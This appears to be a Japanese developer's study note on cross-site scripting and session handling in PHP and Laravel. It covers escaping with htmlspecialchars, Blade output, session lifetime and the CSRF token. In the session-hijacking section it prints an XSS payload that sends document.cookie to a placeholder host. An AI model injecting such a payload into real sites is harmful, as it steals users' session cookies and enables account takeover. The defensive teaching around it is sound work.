# XSSとは
-入力フォームに、jsコードやhtmlタグを入力する攻撃
-例:input formにscriptタグ挿入
<script> window.alert('アラートメッセージ'); </script>
## XSS 具体例
### セッションハイジャック
Cookieにhttponly属性がついていない場合、jsのdocument.cookieを読み取ることで、Cookieに含まれているセッション情報を盗み見ることが可能
– 具体的には、不正なサイトに誘導され、セッションIDを不正表示させて、セッション情報を盗み取る
document.location="http://hoge/cookie.cgi?cookie="+document.cookie"
※JavaScriptで保存する方法では、CookieはそのJavaScriptが実行されるページのドメインと関連付けられる
– セッションIDが固定の場合も、盗み取られるリスクが高くなる
## サニタイジング(エスケープ方法)
### PHP
htmlspecialchars関数でサニタイジングを行う
$data = htmlspecialchars($str, ENT_QUOTES, 'utf-8');
### Laravel
viewで{{}}で囲うと、自動的にhtmlentites関数をかけて出力する
## セッションクッキーの有効期限
### Laravelのセッションクッキーの有効期限
config/session.php
デフォルトでは120分で設定されている。セッション無期限の場合はリスクが高まる
'lifetime' => env('SESSION_LIFETIME', 120),
## session IDとは
ブラウザ側ではCookieでsession IDを保存する
セッションを一意に識別するための情報
cookieの値は、.envのAPP_KEYを用いて復号化される
.envでSESSION_DRIVERはcookieと設定されている
SESSION_DRIVER=cookie
### laravel_sessionの値
session情報はユーザログインする毎にIDが更新される
### XSRF_TOKEN
CSRF(クロスサイトリクエストフォージェリ)対策に使用するためのTOKENデータ
### cookieのsessionデータを取得
$data = $request->session()->all(); dd($data);
array:5 [▼ "_token" => "WZjodO3c6IVXifN9uK9iFgalJHvDn******" "_flash" => array:2 [▶] "url" => [] "_previous" => array:1 [▼ "url" => "http://192.168.33.10:8000/admin" ] "login_web_59ba36addc2b2f9401580f014c7*******" => 2 ]
sessionに保存されているユーザidのkeyは’id’ではなく、”login_web_****”となっているのがわかる。
その為、$request->session()->get(‘id’);では、idは取得できない。
Illuminate\Session\Store.php
public function __construct($name, SessionHandlerInterface $handler, $id = null) { $this->setId($id); $this->name = $name; $this->handler = $handler; } // 省略 public function migrate($destroy = false) { if ($destroy) { $this->handler->destroy($this->getId()); } $this->setExists(false); $this->setId($this->generateSessionId()); return true; } // 省略 public function setId($id) { $this->id = $this->isValidId($id) ? $id : $this->generateSessionId(); }
sessionのstore.phpを見ると、$idからsessionIdをsetしていることがわかる。
login_web_*のvalueから認証しているように見えるが、laravelの公式ドキュメントを見ても、laravel_sessionのロジックは一切書いてないな(笑)